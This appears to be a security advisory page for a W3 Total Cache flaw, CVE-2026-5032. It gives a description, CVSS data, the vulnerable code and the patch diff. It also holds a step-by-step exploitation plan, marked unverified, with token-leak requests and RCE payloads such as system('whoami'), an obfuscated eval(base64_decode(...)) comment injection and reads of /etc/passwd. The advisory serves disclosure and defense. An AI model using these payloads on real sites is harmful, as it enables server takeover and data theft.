CVE-2026-5032

W3 Total Cache <= 2.9.3 - Unauthenticated Security Token Exposure via User-Agent Header

highExposure of Sensitive Information to an Unauthorized Actor
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.9.4
Patched in
2d
Time to patch

Description

The W3 Total Cache plugin for WordPress is vulnerable to information exposure in all versions up to, and including, 2.9.3. This is due to the plugin bypassing its entire output buffering and processing pipeline when the request's User-Agent header contains "W3 Total Cache", which causes raw mfunc/mclude dynamic fragment HTML comments — including the W3TC_DYNAMIC_SECURITY security token — to be rendered in the page source. This makes it possible for unauthenticated attackers to discover the value of the W3TC_DYNAMIC_SECURITY constant by sending a crafted User-Agent header to any page that contains developer-placed dynamic fragment tags, granted the site has the fragment caching feature enabled. With the leaked W3TC_DYNAMIC_SECURITY token, an attacker can craft valid mfunc tags to execute arbitrary PHP code on the server, achieving remote code execution.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.9.3
PublishedApril 1, 2026
Last updatedApril 3, 2026
Affected pluginw3-total-cache

What Changed in the Fix

Changes introduced in v2.9.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: W3 Total Cache Token Exposure and RCE (CVE-2026-5032) ## 1. Vulnerability Summary W3 Total Cache (<= 2.9.3) contains a logic flaw where it identifies requests as "internal" if the `User-Agent` string contains the phrase "W3 Total Cache". When this occurs, the plugin's …

Show full research plan

Exploitation Research Plan: W3 Total Cache Token Exposure and RCE (CVE-2026-5032)

1. Vulnerability Summary

W3 Total Cache (<= 2.9.3) contains a logic flaw where it identifies requests as "internal" if the User-Agent string contains the phrase "W3 Total Cache". When this occurs, the plugin's output buffering and security filters—designed to strip dynamic fragment tags (mfunc and mclude)—are bypassed. This leads to the exposure of the W3TC_DYNAMIC_SECURITY token in the page source. An unauthenticated attacker can then use this token to execute arbitrary PHP code via crafted mfunc comments, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Target Endpoint: Any frontend page that renders content containing dynamic fragment tags (e.g., the homepage or a post if fragment caching is enabled).
  • Vulnerable Header: User-Agent: W3 Total Cache
  • Authentication: Unauthenticated.
  • Preconditions:
    1. Page Caching must be enabled.
    2. Fragment Caching must be enabled.
    3. The page must contain at least one dynamic fragment tag (often used by themes or other plugins for dynamic sidebars/widgets).

3. Code Flow

  1. Request Entry: A user sends an HTTP GET request to the site.
  2. Internal Check: In BrowserCache_Plugin.php, the run() method calls can_ob().
  3. User-Agent Validation:
    • BrowserCache_Plugin.php: can_ob() (line ~170) retrieves the User-Agent.
    • It checks: stristr( $http_user_agent, W3TC_POWERED_BY ) !== false.
    • W3TC_POWERED_BY is a constant defined as "W3 Total Cache".
  4. Bypass: If the check returns false (meaning the UA was detected), the plugin avoids registering output buffer callbacks (e.g., Util_Bus::add_ob_callback).
  5. Leakage: The W3TC engine, assuming the request is internal, skips the sanitization step that normally removes <!-- mfunc [TOKEN] ... --> tags from the final HTML. The response is sent with the raw mfunc tags containing the W3TC_DYNAMIC_SECURITY token.
  6. Execution: The attacker identifies the token and crafts a new request (e.g., a comment or a post) containing:
    <!-- mfunc [LEAKED_TOKEN] system('whoami'); --><!-- /mfunc [LEAKED_TOKEN] -->.
  7. Sink: W3TC's PgCache_ContentProcessor (in the page caching module) evaluates the PHP code inside the mfunc block because the token matches.

4. Nonce Acquisition Strategy

This vulnerability does not rely on standard WordPress nonces. Instead, it relies on the W3TC_DYNAMIC_SECURITY constant.

Extraction Strategy:

  1. Navigation: Navigate to the homepage or any post.
  2. Identification: Use the http_request tool with a custom header.
  3. Execution:
    # Use http_request to fetch the page with the specific User-Agent
    http_request "http://localhost:8080/" \
      --method GET \
      --headers '{"User-Agent": "W3 Total Cache"}'
    
  4. Parsing: Look for the string mfunc in the HTML source.
    Format: <!-- mfunc [TOKEN] ... --> or <!-- mclude [TOKEN] ... -->.
    The [TOKEN] is the value of W3TC_DYNAMIC_SECURITY.

5. Exploitation Strategy

Step 1: Configuration Setup

W3TC must be configured to support fragment caching.

  1. Enable Page Cache (Disk: Basic).
  2. Enable Fragment Cache.
  3. Add a dynamic fragment to a post to ensure the token is present in the source.

Step 2: Token Leakage

Send the crafted request to discover the token.

  • Request: GET /
  • Headers: User-Agent: W3 Total Cache
  • Expected Result: HTML containing <!-- mfunc [TOKEN] ... -->.

Step 3: Remote Code Execution (RCE)

Submit a payload containing the token. A common way is to place it in a location that will be rendered and then cached/processed by W3TC, such as a comment or by exploiting a page that echoes back parameters.

  • Payload: <!-- mfunc [LEAKED_TOKEN] eval(base64_decode('c3lzdGVtKCd3aG9hbWknKTs=')); --><!-- /mfunc [LEAKED_TOKEN] -->
  • Request: POST /wp-comments-post.php (Submit as a comment)
  • Parameters: comment=[PAYLOAD]&author=attacker&email=a@b.com&comment_post_ID=[ID]
  • Alternative (if comments are closed): If the site echoes a search query: GET /?s=[PAYLOAD] with User-Agent: W3 Total Cache.

6. Test Data Setup

  1. Install W3TC 2.9.3: wp plugin install w3-total-cache --version=2.9.3 --activate
  2. Configure W3TC via CLI:
    wp w3-total-cache option set pgcache.enabled true --type=boolean
    wp w3-total-cache option set pgcache.engine file_generic
    wp w3-total-cache option set fragmentcache.enabled true --type=boolean
    
  3. Inject Dynamic Tag: Create a post that includes an mfunc tag in the content (this simulates a developer using the feature).
    wp post create --post_title="Vulnerable" --post_content="Check this: <!-- mfunc echo 'init'; --><!-- /mfunc -->" --post_status="publish"
    

7. Expected Results

  • Success Criteria (Discovery): The HTTP response contains the raw <!-- mfunc ... --> tag, which is normally stripped.
  • Success Criteria (RCE): The output of the system() command (e.g., www-data) appears in the HTTP response where the mfunc tag was placed.

8. Verification Steps

  1. Check Logged Value: If the payload was system('whoami'), the response body should contain the string www-data.
  2. Database Check: If the payload modified the DB (e.g., wp_update_user), verify via WP-CLI:
    wp user get admin --field=user_pass
    

9. Alternative Approaches

  • LFI/Information Disclosure: Instead of RCE, use file_get_contents('/etc/passwd') inside the mfunc tag.
  • Payload via Search: If comments require moderation, try injecting the mfunc tag into a search query or any other parameter that is reflected in the page output while the User-Agent: W3 Total Cache header is present. If W3TC caches the search result page, it will execute the tag on subsequent visits.
Research Findings
Static analysis — not yet PoC-verified

Summary

The W3 Total Cache plugin (<= 2.9.3) identifies requests as internal and bypasses its output buffering and security filters if the HTTP User-Agent header contains 'W3 Total Cache'. This logic flaw leaks the W3TC_DYNAMIC_SECURITY token in the page source, which an unauthenticated attacker can subsequently use to achieve remote code execution via crafted mfunc PHP tags.

Vulnerable Code

// BrowserCache_Plugin.php:182
		/**
		 * Check User Agent
		 */
		$http_user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '';
		if ( stristr( $http_user_agent, W3TC_POWERED_BY ) !== false ) {
			return false;
		}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/w3-total-cache/2.9.3/BrowserCache_Plugin.php	2025-10-20 16:29:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/w3-total-cache/2.9.4/BrowserCache_Plugin.php	2026-03-31 20:28:30.000000000 +0000
@@ -182,13 +182,7 @@
 			return false;
 		}
 
-		/**
-		 * Check User Agent
-		 */
-		$http_user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '';
-		if ( stristr( $http_user_agent, W3TC_POWERED_BY ) !== false ) {
-			return false;
-		}
+		// Do not skip output buffering based on User-Agent (client-spoofable); see Generic_Plugin::can_ob().
 
 		return true;
 	}

Exploit Outline

1. **Token Discovery**: An unauthenticated attacker sends a GET request to any page on the target site (e.g., the homepage) using the header `User-Agent: W3 Total Cache`. 2. **Extraction**: If fragment caching is enabled and the page contains dynamic fragments, the plugin bypasses its output processing, leaving dynamic fragment comments in the HTML. The attacker parses the response to extract the `W3TC_DYNAMIC_SECURITY` token found within `<!-- mfunc [TOKEN] ... -->` or `<!-- mclude [TOKEN] ... -->` tags. 3. **RCE Injection**: The attacker identifies a vector to inject a new `mfunc` tag into the site's cached content. This can be done via a comment, a search query that is reflected and cached, or any other user-controllable input that appears in the page output. 4. **Execution**: The attacker delivers a payload like `<!-- mfunc [LEAKED_TOKEN] system('whoami'); --><!-- /mfunc [LEAKED_TOKEN] -->`. When the page is processed by W3TC's page cache engine, the secret token matches, and the plugin executes the arbitrary PHP code.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.